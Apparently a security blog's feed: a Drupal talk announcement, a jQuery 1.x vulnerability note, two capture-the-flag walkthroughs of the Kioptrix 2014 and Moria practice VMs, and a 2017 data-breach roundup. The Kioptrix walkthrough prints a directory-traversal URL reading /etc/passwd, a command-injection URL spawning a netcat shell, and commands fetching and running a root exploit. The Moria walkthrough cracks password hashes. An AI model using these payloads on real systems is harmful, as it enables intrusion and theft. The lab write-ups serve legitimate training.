I will be doing a talk on Drupal and Security at this year’s Drupal Camp Asheville. I will cover some security best practices for Drupal developers, how to avoid certain Drupal-specific security gotchas, some lessons learned in keeping Drupal sites secure, and some handy tidbits you can use to prevent the bad people from ruining things.
The times for the various speaker sessions haven’t been announced yet, but stay tuned. I hope to see you all there!
#dcavl
I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.
While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:
“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.
Remediation: Upgrade jquery to version 3.0.0 or higher.”
“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:
https://github.com/jquery/jquery/issues/2432#issuecomment-290983196
So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.
While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.
The longer jQuery 1.x sits in your project, the higher a risk it becomes.
As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”
Long story short: Keep your bundled libraries up to date!
This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.
Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!
netdiscover turned up 192.168.0.196 as the IP for this target VM.
#> nmap -v -sS -A -T4 192.168.0.196 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) | http-methods: |_ Supported Methods: GET 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-title: 403 Forbidden
On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.
nikto -host 192.168.0.196 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.0.196 + Target Hostname: 192.168.0.196 + Target Port: 80 + Start Time: 2017-02-14 21:01:40 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 + Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version) + PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current. + OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current. + Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756. + 8345 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP
Turned up index.html (nothing new) and cgi-bin. Blah.
Tried various wordlists. Nothing turned up with this either.
Nikto did mention this vulnerability, so I took a deeper dive:
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.
Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:
<!–
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
–>
Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:
http://192.168.0.196/pChart2.1.3/examples/index.php
The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:
https://www.exploit-db.com/exploits/31173/
Directory Traversal sounds useful!
Using the exploit at Exploit DB, I found /etc/passwd:
http://192.168.0.196/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd # $FreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin ossec:*:1001:1001:User &:/usr/local/ossec-hids:/sbin/nologin ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin ossecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin
I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.
That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.
According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
/usr/local/etc/apache2x/httpd.conf
I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2
So that worked:
So what was relevant in the httpd.conf file?
Listen 80
Listen 8080
I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.
DocumentRoot “/usr/local/www/apache22/data”
That’s where files are served from in Apache on freebsd, apparently.
This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
:
SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser
<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>
So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.
A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:
Clicking that led me to yet another crappy PHP app!
This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.
https://www.exploit-db.com/exploits/21665/
This will start a netcat reverse shell by injecting the command via the URL:
http://192.168.0.196/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make
Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.
Was there already an exploit in Metasploit?
That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…
That worked pretty well, and I found myself with a command shell.
Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.
uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:
So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:
/usr/local/www/apache22/data2/phptax
touch me
cat me
Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.
More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.
So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:
python -m SimpleHTTPServer 80
Then from the reverse shell on the target machine, fetch the file:
fetch http://192.168.0.147/26368.c
Compile that sucker:
gcc 26368.c
Then run it:
./a.out
ROOT!
And the flag is in /root/congrats.txt
You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!
Moria is a relatively new boot2root VM created by Abatchy, and is considered an “intermediate to hard” level challenge. I wasn’t sure I was up for it since I’ve only been doing this for a few months, but much to my delight I conquered this VM and learned a lot in the process. This experience will certainly help as I prepare for the OSCP certification.
While Abatchy says, “No LOTR knowledge is required ;),” I found that my LOTR knowledge came in quite handy.
My setup:
Once the VM was downloaded and running in VMWare, I started through various enumeration techniques that I typically go through when starting to penetration test a box. I’ll omit the irrelevant ones in this write-up.
This tool revealed the IP of this machine on my network:
192.168.0.131
I used nmap -v -sS -A -T4 192.168.0.131
and nmap –sS –sV -O 192.168.0.131
PORT STATE SERVICE
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
MAC Address: 00:0C:29:E8:75:4F (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
So HTTP, FTP, and SSH were running. I started by checking out HTTP and visiting http://192.168.0.131 in a web browser. Here’s what I got:
The image of the West Door of Moria is from LOTR. This door was a trick door in the book and movies, and it required some “outside the box” thinking in order to gain entry. I remembered this from the books, and re-familiarized myself with the details via a Google search:
From http://tolkiengateway.net/wiki/Doors_of_Durin:
“On 13 January 3019 the Fellowship of the Ring entered Moria through the Doors,[5] but initially Gandalf could not find out the password to open them. Merry Brandybuck unknowingly gave Gandalf the answer by asking, “What does it mean by speak, friend, and enter?” When Gandalf realized that the correct translation was “Say friend and enter” he sprang up, laughed, and said “Mellon”, which means “friend” in Sindarin, and the Doors opened. Shortly thereafter, the Watcher in the Water attacked the Fellowship and shut the Doors behind them.[1]”
Good info that might come in handy later 😉
Running dirb led to the discovery of a directory at http://192.168.0.131/w/. It contained a link to /h/, and so on. Traversing down the links led to:
http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/
The page said “Knock knock”
Was this a reference to port knocking? I thought that might be worth checking out later if I could find more info about a sequence.
At this time I was unable to find much more to work with related to the website and HTTP. The usual nikto and other apache/web-related stuff didn’t turn much up. I turned to FTP.
Trying to connect via FTP turned up some interesting info:
220 Welcome Balrog!
Clearly, the Lord of the Rings theme was running deep. I wondered if the password would be “mellon,” since that was what got the LOTR party into the gates of Moria. I couldn’t get that to work, and I wasn’t sure about a username.
Poking around the website some more, I DISCOVERED SOMETHING IMPORTANT!!!
When I browsed to http://192.168.0.131/w/h/i/s/p/e/r/the_abyss/
It gave me something different the next time. I found that a different quote would appear with each page load. I kept refreshing and collected all of the following:
Knock Knock
Is this the end?
Too loud!
Dain:”Is that human deaf? Why is it not listening?”
Nain:”Will the human get the message?”
Is this the end?
“We will die here..”
Ori:”Will anyone hear us?”
Nain:”Will the human get the message?”
Telchar to Thrain:”That human is slow, don’t give up yet”
Maeglin:”The Balrog is not around, hurry!”
Balin: “Be quiet, the Balrog will hear you!”
Oin:”Stop knocking!”
“Eru! Save us!”
A couple of weeks passed at this point, as I went out of town and had other things going on, but it gave me an opportunity to think about Moria and to come back with a fresh perspective.
Tried a bunch of other things, but finally tried doing SSH to the server and was prompted for a login.
Based on the FTP connection saying “Welcome Balrog!” I assumed that Balrog was a username. I also assumed that Mellon was the password knowing what I know about the LOTR story. Lastly, I realized I probably needed to try various capitalizations.
Using the login combo of Balrog / Mellon I got this:
Wrong gate? OK. I went back to try FTP with the Balrog/Mellon auth combo and got in:
Silly me. The username was right there in front of me when I had been trying FTP before. Nothing in the directory I logged into turned up, but I was able to cd .. up to /
I could go many places with basic dir navigation, but much was not allowed. For example, could get into /etc but not look at passwd. I couldn’t find anywhere that I could upload anything, and none of the important system files you’d typically check were allowed to be viewed.
I went to /var/www/html and found a directory that dirb would never have discovered:
Viewing that page in my web browser showed a handy table of what appeared to be hashes:
HashesI set off to see what those passkeys could do. They did’t seem to work as-is for SSH or FTP, so I knew they’d need to be operated on somehow.
hash-identifier said they were likely MD5 hashes:
Without a salt I wasn’t sure how I’d use that information.
I tried various things with Hashcat and John the Ripper, but had no luck. I was stumped for a while until I looked under the hood at the source code of that page at http://192.168.0.131/QlVraKW4fbIkXau9zkAPNGzviT3UKntl/
Note: Looking at the HTML source code is something I always forget to do, and it has bitten me more than once!
At the bottom of the source code I found what appeared to be the salts:
So I had the salts for those MD5 hashes, and I had what looked like the format for using them:
MD5(MD5(Password).Salt)
This next part took me a lot of reading and learning, as I’d never really run into this before in my rather limited experience, and I had only a basic knowledge of Hashcat and John the Ripper. While it took some time, it turned out to be a great opportunity to learn.
Ultimately, based on what I had read in various seedy places of the Internet’s underbelly, I created a file called hashes.txt with these contents, based on the HTML chart found above, and added the salts to each line (after the $) respectively:
Balin:c2d8960157fc8540f6d5d66594e165e0$6MAp84
Oin:727a279d913fba677c490102b135e51e$bQkChe
Ori:8c3c3152a5c64ffb683d78efc3520114$HnqeN4
Maeglin:6ba94d6322f53f30aca4f34960203703$e5ad5s
Fundin:c789ec9fae1cd07adfc02930a39486a1$g9Wxv7
Nain:fec21f5c7dcf8e5e54537cfda92df5fe$HCCsxP$HCCsxP
Dain:6a113db1fd25c5501ec3a5936d817c29$cC5nTr
Thrain:7db5040c351237e8332bfbba757a1019$h8spZR
Telchar:dd272382909a4f51163c77da6356cc6f$tb9AWe
I still needed to figure out the right format for running through John the Ripper though, so more research was needed. I turned to these places:
http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats – not much help here.
https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC – found the solution here.
Based on the chart on the documentation page for DYNAMIC, the format mentioned in the source code would work with this:
dynamic_6 | md5(md5($p).$s)
I next tried that on the hashes.txt file:
root@kali:~/moria# john –format=dynamic_6 hashes.txt
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (dynamic_6 [md5(md5($p).$s) 128/128 AVX 4×3])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
magic (Telchar)
abcdef (Dain)
spanky (Ori)
fuckoff (Maeglin)
flower (Balin)
rainbow (Oin)
darkness (Thrain)
hunter2 (Fundin)
SUCCESS!
I had a list of passwords for each user. Only one of these worked for logging in via SSH, and that was Ori’s account.
Got a Bash shell with Ori’s login via SSH:
-bash-4.2$
-bash-4.2$ ls -al
total 8
drwx—— 3 Ori notBalrog 55 Mar 12 22:57 .
drwxr-x—. 4 root notBalrog 32 Mar 14 00:36 ..
-rw——- 1 Ori notBalrog 1 Mar 14 00:12 .bash_history
-rw-r–r– 1 root root 225 Mar 13 23:53 poem.txt
drwx—— 2 Ori notBalrog 57 Mar 12 22:57 .ssh
Starting in Ori’s home directory, I checked out the .ssh directory to see what might be relevant.
It looked like Ori had logged into localhost before, since it showed up as a known_host. Why would he be doing that unless he needed to log in as someone else? Perhaps as root?
Huh…well that last part was easier than I thought it might be. Thanks to Abatchy for providing this challenge. I learned a lot!
Worryingly, we hear about data breaches so much nowadays that we have gotten used to them. From the infamous Ashley Madison breach, where thousands of cheating partners were exposed to the TalkTalk breach, which led to youngsters being arrested, the scandals seem to get worse and worse, as cyber criminals become more sophisticated. In this post, we are going to take a look at some of the biggest data breaches to occur so far in 2017.
Debenhams Flowers – Let’s begin with a data breach that his hit the news very recently. 26,000 customers had their personal data compromised as a consequence of a cyber attack on Debenhams Flowers website. Names, addresses and payment details were taken during the incident, which targeted a third party e-commerce company, Ecomnova. At present, the Debenhams Flowers website is currently offline, as they discover more about the attack, which is believed to have taken place between February and April of this year.
Gmail – Most people reading this post will have a Gmail account, and so the phishing scam that occurred in March was a pretty big deal to say the least. Gmail users were targeted in a sophisticated scam, which saw them receive an email that appeared to come from one of the user’s trusted contacts, such as a friend or a work colleague. The email had a Google Doc attached to it, and encouraged the user to open it. However, once clicked, the link actually lead to a security page, whereby the hacker would gain control of the user’s email account. Despite the fact that Google reacted quickly and was able to stop the attack within an hour, one million users were impacted.
InterContinental Hotels Group – While email platforms and ecommerce websites only have online threats to deal with, the hospitality industry has both physical and cyber security to bear in mind. If you would like some information on the former, take a look at information provided by HS Tech Group. The InterContinental Hotels Group (IHG) breach is important because it occurred due to malware, which is running rife at the moment. In the beginning, IHG believed that 12 of its properties were impacted by the breach, which saw malware on the servers used to process payments made at on-site bars and restaurants. This meant that stolen data included internal verification codes, card numbers, expiration dates, and card numbers. However, IHG later revealed that 1,200 of their properties had been impacted by the malware attack.
E-Sports Entertainment Association (ESEA) – Last but not least, we have a breach that was announced at the very start of 2017. ESEA, which is one of the biggest video gaming communities in the world, issued a warning to all players after discovering a security incident. It was later revealed that more than 1,500,000 ESEA records were impacted by the breach, and a lot of private data was compromised in the process, including website URLs, phone numbers, birthdates, email addresses, first and last names, usernames, registration date, last login, and much more.
For more information on how you can stay safe while using the Internet, take a look at this blog post.